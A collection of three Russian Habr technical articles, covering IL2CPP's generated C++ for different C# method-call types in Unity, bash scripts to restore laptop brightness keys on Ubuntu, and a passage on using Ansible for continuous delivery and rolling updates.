Я буду использовать версию Unity 5.0.1p4 на Windows для сборки проекта под WebGL. При этом я включу опцию Development Player и задам значение Full для Enable Exceptions. Чтобы проанализировать различные типы вызовов методов, я буду использовать модифицированный скрипт из предыдущей статьи, начинающийся с интерфейса и определения класса:
```
[csharp]
interface Interface {
int MethodOnInterface(string question);
}
class Important : Interface {
public int Method(string question) { return 42; }
public int MethodOnInterface(string question) { return 42; }
public static int StaticMethod(string question) { return 42; }
}
[/csharp]
```
За ними следуют константное поле и тип делегата:
```
[csharp]
private const string question = "What is the answer to the ultimate question of life, the universe, and everything?";
private delegate int ImportantMethodDelegate(string question);
[/csharp]
```
Наконец, мы указываем интересующие нас методы, а также обязательный метод Start (в нашем случае пустой):
```
[csharp]
private void CallDirectly() {
var important = ImportantFactory();
important.Method(question);
}
private void CallStaticMethodDirectly() {
Important.StaticMethod(question);
}
private void CallViaDelegate() {
var important = ImportantFactory();
ImportantMethodDelegate indirect = important.Method;
indirect(question);
}
private void CallViaRuntimeDelegate() {
var important = ImportantFactory();
var runtimeDelegate = Delegate.CreateDelegate(typeof (ImportantMethodDelegate), important, "Method");
runtimeDelegate.DynamicInvoke(question);
}
private void CallViaInterface() {
Interface importantViaInterface = new Important();
importantViaInterface.MethodOnInterface(question);
}
private void CallViaReflection() {
var important = ImportantFactory();
var methodInfo = typeof(Important).GetMethod("Method");
methodInfo.Invoke(important, new object[] {question});
}
private static Important ImportantFactory() {
var important = new Important();
return important;
}
void Start () {}
[/csharp]
```
Итак, всё готово. Учтите, что, пока открыт редактор, генерируемый код C++ находится в директории Temp\StagingArea\Data\il2cppOutput. И не забудьте сгенерировать файл тегов с помощью Ctags, чтобы упростить навигацию по коду.
Прямые вызовы
-------------
Вызвать метод проще и, как вы сможете убедиться, быстрее всего напрямую. Вот так выглядит генерируемый код для метода CallDirectly:
```
[cpp]
Important_t1 * L_0 = HelloWorld_ImportantFactory_m15(NULL /*static, unused*/, /*hidden argument*/&HelloWorld_ImportantFactory_m15_MethodInfo);
V_0 = L_0;
Important_t1 * L_1 = V_0;
NullCheck(L_1);
Important_Method_m1(L_1, (String_t*) &_stringLiteral1, /*hidden argument*/&Important_Method_m1_MethodInfo);
[/cpp]
```
Последняя строка и есть вызов метода. Обратите внимание, что она всего лишь вызывает свободную функцию, заданную в коде C++. Как мы уже говорили в предыдущей статье, IL2CPP не использует функции-члены или виртуальные функции, а генерирует все методы как свободные функции C++. Аналогичным образом работает прямой вызов статического метода. Вот так выглядит генерируемый код для метода CallStaticMethodDirectly:
```
[cpp]
Important_StaticMethod_m3(NULL /*static, unused*/, (String_t*) &_stringLiteral1, /*hidden argument*/&Important_StaticMethod_m3_MethodInfo);
[/cpp]
```
Можно сказать, что вызывать статический метод менее затратно, поскольку нам не нужно создавать и инициализировать экземпляр объекта. Но сам вызов метода – суть один и тот же. Единственное отличие в том, что для первого аргумента статических функций IL2CPP всегда передает значение NULL. Учитывая, что разница между вызовами статических методов и методов экземпляра настолько мала, в рамках этой статьи мы их отождествим.
Вызовы через делегат времени компиляции
---------------------------------------
У непрямого вызова через делегат есть своя специфика. Сперва уточню, что я имею в виду под делегатом времени компиляции – уже во время компиляции мы знаем, какой метод вызывается из какого экземпляра объекта. Код для этого типа находится в методе CallViaDelegate. В генерируемом коде он выглядит так:
```
[cpp]
// Get the object instance used to call the method.
Important_t1 * L_0 = HelloWorld_ImportantFactory_m15(NULL /*static, unused*/, /*hidden argument*/&HelloWorld_ImportantFactory_m15_MethodInfo);
V_0 = L_0;
Important_t1 * L_1 = V_0;
// Create the delegate.
IntPtr_t L_2 = { &Important_Method_m1_MethodInfo };
ImportantMethodDelegate_t4 * L_3 = (ImportantMethodDelegate_t4 *)il2cpp_codegen_object_new (InitializedTypeInfo(&ImportantMethodDelegate_t4_il2cpp_TypeInfo));
ImportantMethodDelegate__ctor_m4(L_3, L_1, L_2, /*hidden argument*/&ImportantMethodDelegate__ctor_m4_MethodInfo);
V_1 = L_3;
ImportantMethodDelegate_t4 * L_4 = V_1;
// Call the method
NullCheck(L_4);
VirtFuncInvoker1< int32_t, String_t* >::Invoke(&ImportantMethodDelegate_Invoke_m5_MethodInfo, L_4, (String_t*) &_stringLiteral1);
[/cpp]
```
Обратите внимание, что вызываемый метод фактически не является частью генерируемого кода. Метод VirtFuncInvoker1::Invoke находится в файле GeneratedVirtualInvokers.h, генерируемом утилитой il2cpp.exe на основе использования виртуальных функций, которые возвращают значение (VirtFuncInvokerN) и не возвращают его (VirtActionInvokerN), где N означает количество аргументов. Вот так выглядит метод Invoke:
```
[cpp]
template
struct VirtFuncInvoker1
{
typedef R (\*Func)(void\*, T1, MethodInfo\*);
static inline R Invoke (MethodInfo\* method, void\* obj, T1 p1)
{
VirtualInvokeData data = il2cpp::vm::Runtime::GetVirtualInvokeData (method, obj);
return ((Func)data.methodInfo->method)(data.target, p1, data.methodInfo);
}
};
[/cpp]
```
Вызов GetVirtualInvokeData ищет виртуальный метод в таблице vtable, генерируемой на основе управляемого кода, и затем вызывает этот метод.
*Почему мы не использовали [вариативные шаблоны](https://ru.wikipedia.org/wiki/%D0%92%D0%B0%D1%80%D0%B8%D0%B0%D1%82%D0%B8%D0%B2%D0%BD%D1%8B%D0%B9_%D1%88%D0%B0%D0%B1%D0%BB%D0%BE%D0%BD) C++ 11 для реализации методов VirtFuncInvokerN? Всё указывает на то, что в этом случае они пришлись бы как нельзя кстати. Однако для работы с кодом C++, генерируемым il2cpp.exe, нам понадобятся компиляторы C++, которые пока поддерживают не все аспекты C++ 11. Поэтому мы решили, что создание отдельной ветки генерируемого кода для компиляторов только усложнит процесс, и не стали этого делать.*
Но почему это именно виртуальный вызов метода? Разве мы не вызываем метод экземпляра в коде C#? Не забывайте, что мы делаем это через делегат C#. Взгляните еще раз на генерируемый код. Вызываемый метод передается через аргумент MethodInfo\* (метаданные метода) – ImportantMethodDelegate\_Invoke\_m5\_MethodInfo. Найдите метод под названием ImportantMethodDelegate\_Invoke\_m5 в генерируемом коде, и вы увидите, что вызов идет к управляемому методу Invoke типа ImportantMethodDelegate. Это виртуальный метод, и значит мы должны совершить виртуальный вызов: функция ImportantMethodDelegate\_Invoke\_m5 вызовет метод с именем Method в коде C#.
Итак, за счет небольшого изменения в коде C# мы перешли от одного вызова свободной функции C++ к нескольким вызовам, включая поиск по таблице. Тем не менее, вызывать метод через делегат намного затратнее, чем напрямую. Кстати, в процессе рассмотрения этого типа вызовов мы заодно поговорили о том, как работают вызовы через виртуальный метод.
Вызовы через интерфейс
----------------------
Вызвать метод в C# также можно через интерфейс. Il2cpp.exe совершает такие вызовы по аналогии с вызовами виртуальных методов:
```
[cpp]
Important_t1 * L_0 = (Important_t1 *)il2cpp_codegen_object_new (InitializedTypeInfo(&Important_t1_il2cpp_TypeInfo));
Important__ctor_m0(L_0, /*hidden argument*/&Important__ctor_m0_MethodInfo);
V_0 = L_0;
Object_t * L_1 = V_0;
NullCheck(L_1);
InterfaceFuncInvoker1< int32_t, String_t* >::Invoke(&Interface_MethodOnInterface_m22_MethodInfo, L_1, (String_t*) &_stringLiteral1);
[/cpp]
```
Обратите внимание, что вызов метода осуществляется через функцию InterfaceFuncInvoker1::Invoke в файле GeneratedInterfaceInvokers.h. Как и VirtFuncInvoker1, класс InterfaceFuncInvoker1 совершает поиск в таблице vtable с помощью функции il2cpp::vm::Runtime::GetInterfaceInvokeData в libil2cpp.
Почему вызовы через метод интерфейса и вызовы через виртуальный метод используют разные API в libil2cpp? Обращение к функции InterfaceFuncInvoker1::Invoke передает не только вызываемый метод и его аргументы, но и интерфейс (в этом случае L\_1). Для каждого типа сохраняется таблица vtable, чтобы методы интерфейса фиксировались при смещении. Таким образом, il2cpp.exe должен предоставить интерфейс, чтобы определить, какой метод вызвать. В сухом остатке можно сказать, что вызовы через виртуальный метод и вызовы через интерфейс одинаково затратны в IL2CPP.
Вызовы через делегат времени выполнения
---------------------------------------
Делегат также можно создать во время выполнения с помощью метода Delegate.CreateDelegate. Это похоже на создание делегата во время компиляции, но требует вызова еще одной функции. Генерируемый код выглядит так:
```
[cpp]
// Get the object instance used to call the method.
Important_t1 * L_0 = HelloWorld_ImportantFactory_m15(NULL /*static, unused*/, /*hidden argument*/&HelloWorld_ImportantFactory_m15_MethodInfo);
V_0 = L_0;
// Create the delegate.
IL2CPP_RUNTIME_CLASS_INIT(InitializedTypeInfo(&Type_t_il2cpp_TypeInfo));
Type_t * L_1 = Type_GetTypeFromHandle_m19(NULL /*static, unused*/, LoadTypeToken(&ImportantMethodDelegate_t4_0_0_0), /*hidden argument*/&Type_GetTypeFromHandle_m19_MethodInfo);
Important_t1 * L_2 = V_0;
Delegate_t12 * L_3 = Delegate_CreateDelegate_m20(NULL /*static, unused*/, L_1, L_2, (String_t*) &_stringLiteral2, /*hidden argument*/&Delegate_CreateDelegate_m20_MethodInfo);
V_1 = L_3;
Delegate_t12 * L_4 = V_1;
// Call the method
ObjectU5BU5D_t9* L_5 = ((ObjectU5BU5D_t9*)SZArrayNew(ObjectU5BU5D_t9_il2cpp_TypeInfo_var, 1));
NullCheck(L_5);
IL2CPP_ARRAY_BOUNDS_CHECK(L_5, 0);
ArrayElementTypeCheck (L_5, (String_t*) &_stringLiteral1);
*((Object_t **)(Object_t **)SZArrayLdElema(L_5, 0)) = (Object_t *)(String_t*) &_stringLiteral1;
NullCheck(L_4);
Delegate_DynamicInvoke_m21(L_4, L_5, /*hidden argument*/&Delegate_DynamicInvoke_m21_MethodInfo);
[/cpp]
```
Для создания и инициализации такого делегата требуется намного больше кода. Да и сам вызов метода получается более затратным. Во-первых, нужно создать массив для аргументов метода. Затем – вызвать метод DynamicInvoke из экземпляра Delegate. Обратите внимание, что этот метод вызывает функцию VirtFuncInvoker1::Invoke – так же, как и делегат времени компиляции. Таким образом, для делегата времени выполнения требуется не только еще один вызов функции, но и дополнительный поиск по таблице vtable.
Вызовы через рефлексию
----------------------
Неудивительно, что самый затратный тип вызова метода – через рефлексию. Вот так выглядит генерируемый код для метода CallViaReflection:
```
[cpp]
// Get the object instance used to call the method.
Important_t1 * L_0 = HelloWorld_ImportantFactory_m15(NULL /*static, unused*/, /*hidden argument*/&HelloWorld_ImportantFactory_m15_MethodInfo);
V_0 = L_0;
// Get the method metadata from the type via reflection.
IL2CPP_RUNTIME_CLASS_INIT(InitializedTypeInfo(&Type_t_il2cpp_TypeInfo));
Type_t * L_1 = Type_GetTypeFromHandle_m19(NULL /*static, unused*/, LoadTypeToken(&Important_t1_0_0_0), /*hidden argument*/&Type_GetTypeFromHandle_m19_MethodInfo);
NullCheck(L_1);
MethodInfo_t * L_2 = (MethodInfo_t *)VirtFuncInvoker1< MethodInfo_t *, String_t* >::Invoke(&Type_GetMethod_m23_MethodInfo, L_1, (String_t*) &_stringLiteral2);
V_1 = L_2;
MethodInfo_t * L_3 = V_1;
// Call the method.
Important_t1 * L_4 = V_0;
ObjectU5BU5D_t9* L_5 = ((ObjectU5BU5D_t9*)SZArrayNew(ObjectU5BU5D_t9_il2cpp_TypeInfo_var, 1));
NullCheck(L_5);
IL2CPP_ARRAY_BOUNDS_CHECK(L_5, 0);
ArrayElementTypeCheck (L_5, (String_t*) &_stringLiteral1);
*((Object_t **)(Object_t **)SZArrayLdElema(L_5, 0)) = (Object_t *)(String_t*) &_stringLiteral1;
NullCheck(L_3);
VirtFuncInvoker2< Object_t *, Object_t *, ObjectU5BU5D_t9* >::Invoke(&MethodBase_Invoke_m24_MethodInfo, L_3, L_4, L_5);
[/cpp]
```
Как и в случае делегата времени выполнения, нам нужно создать массив для аргументов метода. Затем мы совершаем вызов виртуального метода MethodBase::Invoke – функции MethodBase\_Invoke\_m24, которая, в свою очередь, вызывает другую виртуальную функцию. И только тогда осуществляется требуемый вызов метода.
Вывод
-----
Хоть это и не сравнится с профилированием, разбор генерируемого кода C++ позволяет лучше понять затраты, связанные с тем или иным вызовом метода. Например, вызывать методы через делегат времени выполнения и через рефлексию лучше не стоит. Чтобы повысить производительность, измеряйте затраты на ранних этапах, желательно – профайлерами.
Мы продолжаем работать над оптимизацией кода, генерируемого il2cpp.exe, поэтому вероятно, что в следующих версиях Unity перечисленные типы вызовов будут выглядеть иначе. В следующей статье мы поговорим о выполнении универсальных методов и способах уменьшения размера исполняемого файла и генерируемого кода. | https://habr.com/ru/post/310614/ | null | ru | null |
# Чиним яркость у ноутбука
Данный пост будет интересен в первую очередь владельцам ноутбуков (под управлением ubuntu), у кого не работаю fn клавиши управлением яркость.
**/etc/acpi/video\_brightnessup.sh**
`#!/bin/bash
CURRENT=$(grep "current:" /proc/acpi/video/VGA/LCD/brightness |awk '{print $2}')
case "$CURRENT" in
100)
echo -n 100 > /proc/acpi/video/VGA/LCD/brightness;
;;
87)
echo -n 100 > /proc/acpi/video/VGA/LCD/brightness;
;;
75)
echo -n 87 > /proc/acpi/video/VGA/LCD/brightness;
;;
62)
echo -n 75 > /proc/acpi/video/VGA/LCD/brightness;
;;
50)
echo -n 62 > /proc/acpi/video/VGA/LCD/brightness;
;;
37)
echo -n 50 > /proc/acpi/video/VGA/LCD/brightness;
;;
25)
echo -n 37 > /proc/acpi/video/VGA/LCD/brightness;
;;
12)
echo -n 25 > /proc/acpi/video/VGA/LCD/brightness;
;;
*)
echo -n 100 > /proc/acpi/video/VGA/LCD/brightness ;
;;
esac`
**/etc/acpi/video\_brightnessdown.sh**
`#!/bin/bash
CURRENT=$(grep "current:" /proc/acpi/video/VGA/LCD/brightness |awk '{print $2}')
case "$CURRENT" in
12)
echo -n 12 > /proc/acpi/video/VGA/LCD/brightness;
;;
25)
echo -n 12 > /proc/acpi/video/VGA/LCD/brightness;
;;
37)
echo -n 25 > /proc/acpi/video/VGA/LCD/brightness;
;;
50)
echo -n 37 > /proc/acpi/video/VGA/LCD/brightness;
;;
62)
echo -n 50 > /proc/acpi/video/VGA/LCD/brightness;
;;
75)
echo -n 62 > /proc/acpi/video/VGA/LCD/brightness;
;;
87)
echo -n 75 > /proc/acpi/video/VGA/LCD/brightness;
;;
100)
echo -n 87 > /proc/acpi/video/VGA/LCD/brightness;
;;
*)
echo -n 50 > /proc/acpi/video/VGA/LCD/brightness ;
;;
esac`
**Внимание!** Не забудьте сделать бэкап файлов! Так же все действия производите на свой страх и риск ;) | https://habr.com/ru/post/19596/ | null | ru | null |
# Создание custom layout в SwiftUI. Кэширование
В предыдущем посте мы рассказали об основах нового протокола *Layout*. Сегодня я собираюсь продолжить серию постов, посвященной созданию многократно используемых custom layouts, рассказав про кэширование информации layout и настройку производительности.
SwiftUI вызывает функции вашего custom layout множество раз на протяжении всего жизненного цикла для определения различных вариантов размеров в процессе компоновки. Он кэширует несколько объектов автоматически, но вы также можете реализовать свой собственный вариант кэширования, если вам нужно улучшить производительность layout.
Протокол *Layout*имеет связанный тип *Cache*, который по умолчанию имеет значение *Void*. Однако вы можете определить любой тип, который вам нужен, и реализовать собственное поведение кэширования. Самый простой способ — определить вложенный тип с именем *Cache*внутри вашего пользовательского типа макета.
```
struct FlowLayout: Layout {
struct Cache {
var sizes: [CGSize] = []
}
}
```
Протокол *Layout*содержит функцию *makeCache*, которую мы можем реализовать для предоставления экземпляра кэша и выполнения некоторых начальных вычислений для хранения при изменении layout.
```
struct FlowLayout: Layout {
struct Cache {
var sizes: [CGSize] = []
}
func makeCache(subviews: Subviews) -> Cache {
let sizes = subviews.map { $0.sizeThatFits(.unspecified) }
return Cache(sizes: sizes)
}
}
```
Как вы можете видеть в приведенном выше примере, функция updateCache предоставляет экземпляр кэша в качестве входного параметра, что позволяет нам изменять его во время вызова.
Имейте в виду, что обе функции *makeCache*и *updateCache*предоставляют вам только экземпляр типа *Subviews*- прокси в списке дочерних элементов. Он не предоставляет вам предлагаемый размер и границы прямоугольника, что означает, что мы не можем вычислить точное положение представлений. Вместо этого протокол *Layout*позволяет нам изменять наш кэш в функциях *sizeThatFits*и *placeSubviews*, где у нас хранится предлагаемый размер.
```
struct FlowLayout: Layout {
// ....
func placeSubviews(
in bounds: CGRect,
proposal: ProposedViewSize,
subviews: Subviews,
cache: inout Cache
) {
var lineX = bounds.minX
var lineY = bounds.minY
var lineHeight: CGFloat = 0
for index in subviews.indices {
if lineX + cache.sizes[index].width > (proposal.width ?? 0) {
lineY += lineHeight
lineHeight = 0
lineX = bounds.minX
}
let position = CGPoint(
x: lineX + cache.sizes[index].width / 2,
y: lineY + cache.sizes[index].height / 2
)
// you can populate cache
// with additional information here
lineHeight = max(lineHeight, cache.sizes[index].height)
lineX += cache.sizes[index].width
subviews[index].place(
at: position,
anchor: .center,
proposal: ProposedViewSize(cache.sizes[index])
)
}
}
}
```
Как вы можете заметить в приведенном выше примере, наш кэш заполняется точными значениями позиции во время выполнения функции *placeSubviews*. Всякий раз, когда SwiftUI вызывает эту функцию, мы можем проверить наш кэш и поместить подпредставления в кэшированную позицию. В случае, когда наш кэш пуст, мы можем заполнить его корректными значениями.
Протокол *Layout*предоставляет нам все необходимые API для создания эффективных пользовательских layout. Мы продолжим изучать огромный набор API-интерфейсов, которые SwiftUI дает нам для создания многоразовых и гибких layout.
[Оригинал статьи](https://swiftwithmajid.com/2022/11/29/building-custom-layout-in-swiftui-caching/) | https://habr.com/ru/post/703850/ | null | ru | null |
# Как сделать вашу ИТ-инфраструктуру скучной
Майкл ДеХаан – человек, который создал Ansible. Многие вещи, которые делают системные администраторы, релиз- и DevOps-инженеры на регулярной основе, мягко говоря, неинтересны. ДеХаан хочет, чтобы эти люди освободили свое время для более интересных вещей (на работе или за дверью офиса), и написал код продукта, который освобождает время администратора.
Больше времени, меньше адреналина в рабочие часы, меньше скриптов и меньше ошибок.
Кстати, вы можете закончить чтение на этом абзаце, вместо этого подключившись к livestream 6 июня вот [здесь](https://www.redhat.com/en/events/ansible-automates-copenhagen-2018?sc_cid=701f2000000RVlqAAG).
Если вы все-таки продолжили читать…
### Ansible: непрерывная интеграция и доставка
Ansible – это мощный язык автоматизации с открытым исходным кодом. Да, он отлично подходит не только для управления, но и для развертывания и оркестрации ИТ-систем. Ansible изначально создавался и для эффективного решения широкого круга задач автоматизации, и как простой универсальный базис для замены традиционных средств управления, а в итоге оказался весьма полезен во многих областях. Например, при обеспечении нулевых простоев в ходе непрерывной интеграции и доставки приложений (CI/CD). Обычно эта задача решается за счет обширной доработки софта, применения различных программных пакетов и массы ухищрений, уникальных для каждой конкретной конфигурации. Ansible же изначально спроектирован в расчете именно на такие сценарии оркестрации и предлагает готовое решение «все в одном».
### Непрерывная интеграция и доставка приложений (CI/CD)
Немного прописных истин. Практика разработки программных систем за последние 10 лет показывает, что длинный жизненный цикл версий ПО (каскадная модель разработки) имеет гораздо более высокие накладные расходы по сравнению с коротким циклом (так называемая «итеративная» или agile-разработка). Все дело в аритмичности: когда программисты только начинают работать над новой версией, ИТ-специалистам, отвечающим за тестирование и развертывание, попросту нечего делать. Но чем ближе версия к выпуску, тем сильнее заняты ИТ-специалисты, и тем чаще программистам приходится переключать контекст, чередуя работу над ошибками и планирование следующей версии.
Кроме того, длинный цикл увеличивает интервал между выявлением и устранением программных ошибок и недочетов, что особенно критично для больших веб-систем с многомиллионной пользовательской аудиторией. Поэтому индустрия производства ПО стремительно осваивает методологии agile под лозунгом «выпускать быстрее и чаще», чтобы участники процесса разработки могли реже переключать контекст работы и гораздо быстрее создавать, отлаживать и внедрять доработки и новшества.
Автоматизация контроля качества, TDD-разработка через тестирование и другие сопутствующие техники еще больше повышают эффективность новых методов работы. А где автоматизация? Где технологии, заставляющим шестеренки крутиться быстрее и сводящим участие человека к строго необходимому минимуму?
А вот, например, Ansible и Ansible Tower от Red Hat для оркестрации ИТ-систем в рамках современных процессов разработки ПО.
### Нулевые простои
Еще немного очевидного. Простои – это упущенная выгода и недовольные заказчики. Поэтому в веб-системах массового обслуживания, пользователи которых распределены по всем часовым поясам, плановое отключение допускается только в действительно серьезных случаях, перечень которых явно не включает в себя обновление версий приложения. Схожим образом дела обстоят и в корпоративных средах, где недоступность интранета или учетной системы резко снижает продуктивность сотрудников. Таким образом, любая автоматизация процессов должна обеспечивать обновление без приостановки операционной деятельности – иначе говоря, с нулевыми простоями.
Добиться нулевых простоев вполне реально, но для этого нужны соответствующие инструменты – такие, что обеспечивают расширенную, многоуровневую и многоступенчатую оркестрацию, как, например, система Ansible.
### Системы сборки приложений
Непрерывная доставка (CD) начинается с непрерывной интеграции (CI). Система, которая мониторит репозитории исходных кодов на предмет изменений, самостоятельно прогоняет соответствующие тесты и автоматически выполняет сборку (а в идеале и тестирование) новой версии приложения при каждом обновлении кода это, например, проект Jenkins (jenkins.io).
Для передачи эстафеты CD-системе после успешной сборки новой версии приложения подсистема сборки CI-системы может вызывать Ansible, чтобы сразу же предоставить эту новую версию тем, кто выполняет модульное или интеграционное тестирование. В частности, Jenkins может задействовать Tower для развертывания сборок в различных средах, причем тестовая или промежуточная среда могут моделироваться на основе производственной среды, что сильно повышает предсказуемость на всем жизненном цикле ПО. Данные, возвращаемые Ansible по результатам выполнения сценариев автоматизации, можно напрямую задействовать в заданиях Build Systems системы Tower. На самом деле, Tower даже позволяет тестировать сценарии развертывания в промежуточной среде, прежде чем запускать их на «боевых» серверах.
### Поочередное обновление многоуровневых приложений
CD-система в обязательном порядке должна уметь оркестрировать процессы поочередного обновления (rolling update) многоуровневых приложений. Благодаря push-архитектуре и возможностям многоуровневой многоступенчатой оркестрации, Ansible вполне справляется с этой задачей, обновляя любое приложение уровень за уровнем, обмениваясь при этом данными между ними.
Для реализации поочередного обновления в Ansible используются сценарии Play, которые позволяют точно задать группу целевых хостов и назначить задачи (Role), которые должны быть на них выполнены. Задачи – это обычно объявления о том, что конкретный ИТ-ресурс должен находиться в заданном состоянии, например, для одной версии ПО должен быть установлен определенный пакет, а для другой требуется свериться с репозиторием кода. Топологии веб-приложений, как правило, требуют обновлять их в строгой последовательности, а еще нельзя обновлять приложения и системные конфигурации на всех машинах одновременно.
При перезапуске сервиса он какое-то время остается недоступен, замена версии приложения тоже не происходит мгновенно. Поэтому, прежде чем обновлять систему, мы выводим ее из пула балансировки. Как следствие, нужна возможность автоматизировать операции подключения и отключения машин от пула. «Последовательно» – вот ключевое слово. Ansible может очень точно контролировать размер окна поочередного обновления. Ну и отработка таких обновлений ведется очень аккуратно, и если на каком-то этапе возникает сбой, то обновление приостанавливается, чтобы не вывести из строя оставшуюся часть ИТ-инфраструктуры.
### Непрерывное развертывание для сценариев автоматизации
Помимо CD-функционала для сервисов, действующих в режиме промышленной эксплуатации, можно также организовать непрерывное развертывание самих сценариев автоматизации (наборов инструкций Ansible Playbook. Не прекращайте читать, во второй части будут примеры плэйбуков ). Это позволяет системным администраторам и разработчикам управлять сценариями с помощью репозитория исходных кодов, тестировать эти сценарии в промежуточной среде и автоматически переносить их в производственную среду в случае успешной обкатки. Иначе говоря, при работе со сценариями вы получаете все методологические и другие преимущества центрального репозитория кода, к которым привыкли при разработке софта.
Внесение изменений в ПО и системные конфигурации является одной из главных причин внеплановых отключений. Поэтому, помимо автоматизированного тестирования, есть человеческий контроль. Его можно организовать путем интеграции с системой инспекции кода, наподобие [Gerrit](http://gerritcodereview.com/), и применять изменения только после того, как их утвердят ответственные товарищи.
### Поочередные обновления и системы балансировки нагрузки
Ansible очень самостоятельно работает с системами балансировки нагрузки при выполнении поочередных обновлений. Поэтому вы можете просто написать в сценарии Playbook, в любом цикле для группы хостов, что-то вроде «выполнить это действие в системе X от имени хоста Y», и Ansible позаботится об остальном.
Ansible хорошо взаимодействует с балансировщиками нагрузки всех видов и умеет устанавливать флаг временного отключения хоста, чтобы деактивировать для него мониторинг доступности на период обновления. Простая схема «отключаем мониторинг – убираем из пула – обновляем нужный уровень ПО – возвращаем в пул – включаем мониторинг» легко реализует поочередное обновление с нулевыми простоями и без ложных срабатываний тревоги. И все это в полностью автоматизированном режиме, без участия оператора.
### Интегрированное промежуточное тестирование
Tower может работать с различными файлами инвентаризации ресурсов (Inventory), что позволяет легко тестировать сценарии поочередного обновления в промежуточной среде, прежде чем запускать их на «боевых» серверах. Для этого достаточно смоделировать производственную среду в тестовой, запустить Ansible с параметром «-i» и указать, какой файл инвентаризации должен использоваться при выполнении сценария – для тестовой среды или для производственной. Сам сценарий при этом модифицировать не нужно.
### Развертывание на основе системы контроля версий
Некоторые любят погорячее выполнять упаковку приложений вместе с пакетами ОС (RPM, debs, и т. п.), однако зачастую, особенно для веб-приложений, такая упаковка не нужна. Поэтому в состав Ansible входят сразу несколько модулей для развертывания приложений непосредственно из систем управления версиями. В сценарии Playbook можно прописать сверку с репозиторием кода по заданному тегу или номеру версии, после чего Ansible проверит выполнение этого условия на всех целевых серверах и активирует последующие действия, только если версия нуждается в замене, устранив, таким образом, ненужные перезапуски служб.
### Интеграция со средствами мониторинга
Как полноценная система оркестрации, Ansible поддерживает интеграцию с APM-системами управления производительностью приложений на уровне мониторинга. Допустим, на этапе развертывания или интеграционного тестирования вместе с приложением необходимо установить или обновить программный агент APM. В Ansible для этого есть специальная роль, и после установки и активирования агента, Ansible может настроить его в стеке APM-мониторинга (если он еще не настроен), чтобы специалисты по управлению приложениями могли сразу же проконтролировать, что новая версия установилась и работает без проблем.
Если после обновления приложения в производственной среде что-то пошло не так, средства мониторинга могут вызвать Ansible, чтобы выполнить откат к предыдущей версии. Разумеется, только если такой откат разрешен.
### Уведомление о событиях
В парадигме CI/CD все хотят получать уведомления о событиях как можно быстрее. Ansible предлагает как встроенные функции, включая модуль электронной почты, так и интеграцию с внешними инструментами оповещения, наподобие мессенджеров, социальных сетей или систем регистрации событий.
### Развертывание с использованием модели состояния ресурсов
Одна из ключевых особенностей Ansible, делающая его ну очень полезным инструментом для развертывания приложений – это штатное использование в процессах обновления ПО модели состояния ресурсов, завоевавшей популярность при управлении системными конфигурациями. В отличие от традиционных средств управления с открытым исходным кодом, Ansible не нужно дооснащать каким-либо дополнительным софтом или особыми сценариями, чтобы организовать доставку приложений.
В Ansible можно очень точно прописать и проконтролировать порядок событий на разных уровнях архитектуры, что позволяет делегировать действия другим системам, а также комбинировать директивы ресурсной модели (по типу «пакет X должен быть в состоянии Y») и традиционные сценарные команды (наподобие «run script.sh») в рамках одного процесса.
Ansible также позволяет легко запускать команды проверки различных условий и принимать решения по результатам их выполнения. Объединение процессов конфигурации систем и развертывания приложений в рамках одной инструментальной цепочки гораздо эффективнее схемы с несколькими специализированными инструментами, и, кроме того, повышает согласованность политик ОС и приложений.
### Тестирование в ходе развертывания
Чем больше возможностей, тем выше ответственность. Автоматизация процессов непрерывной доставки резко повышает опасность развертывания сбойной конфигурации на всех узлах системы. Чтобы снизить риски, Ansible предлагает вставлять в сценарии контрольные тесты, которые прервут поочередное обновление, если что-то пойдет не так. Для проверки различных условий, включая статус функционирования служб, можно развертывать произвольные тесты с использованием модулей Command или Script, и даже создавать такие тесты в виде отдельных модулей Ansible.
Модуль Fail может прервать выполнение сценария на хосте в любой момент, что позволяет отловить сбои на ранней стадии поочередного обновления. Например, из-за отличия промежуточной среды от производственной в последней возникает конфигурационная ошибка, которая выводит из строя «боевые» сервера. На этот случай в сценарии Playbooks можно прописать аварийный выход на первом же этапе поочередного обновления. И если у вас 100 серверов, а размер окна поочередного обновления равен 10, то такая аварийная остановка даст время спокойно во всем разобраться, исправить сценарий и продолжить обновление.
В случае сбоя Ansible не продолжает работу, оставляя системы в полунастроенном состоянии, и генерирует ошибку, чтобы привлечь внимание оператора и сообщить ему, на каких хостах цикл обновления прошел с ошибками, и сколько изменений было выполнено на каждой платформе. В Ansible есть режим имитационного прогона, когда система формирует отчет о том, какие изменения были бы проведены при выполнении сценария без его реального выполнения.
### Проверка соответствия
Есть среды, где конфигурации меняют только тогда, когда без этого уже никак. Любые изменения в таких средах предварительно анализируются. Тут используются системы непрерывной доставки “с оговорками”.
В Ansible есть режим имитационного прогона (активируется флагом «--check»), когда система формирует отчет о том, какие изменения были бы проведены при выполнении сценария. Реального выполнения сценария при этом не происходит, имитационный прогон не позволяет отловить ошибки, но помогает лучше понять и проанализировать детали и результаты предлагаемых изменений.
С другой стороны, даже при непрерывном развертывании новых сборок, Ansible позволяет гораздо чаще запускать проверки соответствия, чтобы поймать момент, когда какие-то вещи в производственной среде меняются в результате человеческой вмешательства и должны быть исправлены путем запуска соответствующего сценария Ansible, например, чтобы сменить версию ПО, подкорректировать разрешения и т. п.
### Развертывание на автопилоте
Если вы живете в мире многоуровневой многоступенчатой оркестрации процессов поочередного обновления ПО с нулевыми простоями, то вероятней всего CI/CD у вас выполняется исключительно операторами (как вручную, так и с частичной автоматизацией) и требуют, как в хороводе, согласованных действий всех участников процесса. Ansible вместе с его уникальной архитектурой и отсутствием программных агентов на целевых хостах (повышающим безопасность и избавляющее от необходимости управлять самой системой управления) может доступно описать и легко автоматизировать сложные процессы развертывания, то есть Ansible реализует здесь режим полного автопилота.
Примеры сценариев автоматизации Ansible можно найти на [GitHub](http://github.com/ansible/ansible-examples), а сейчас мы дадим базис и пример, как написать сценарий Playbook, который можно выполнять в Ansible или Ansible Tower. Вместе со [списком модулей](http://docs.ansible.com/ansible/latest/modules_by_category.html) и [другими документами](http://docs.ansible.com/ansible/latest/modules_by_category.html) она поможет научиться создавать свои сценарии Playbooks.
### Что такое Playbook?
Сценарий Playbook – это, по сути, набор инструкций (plays), который отправляется для выполнения какому-то одному удаленному хосту или группе хостов. Это как руководство по сборке мебели из IKEA: точно следуете инструкциям и получаете именно то, что видели в магазине. Примерно так и работают сценарии.
### Модули (Modules)
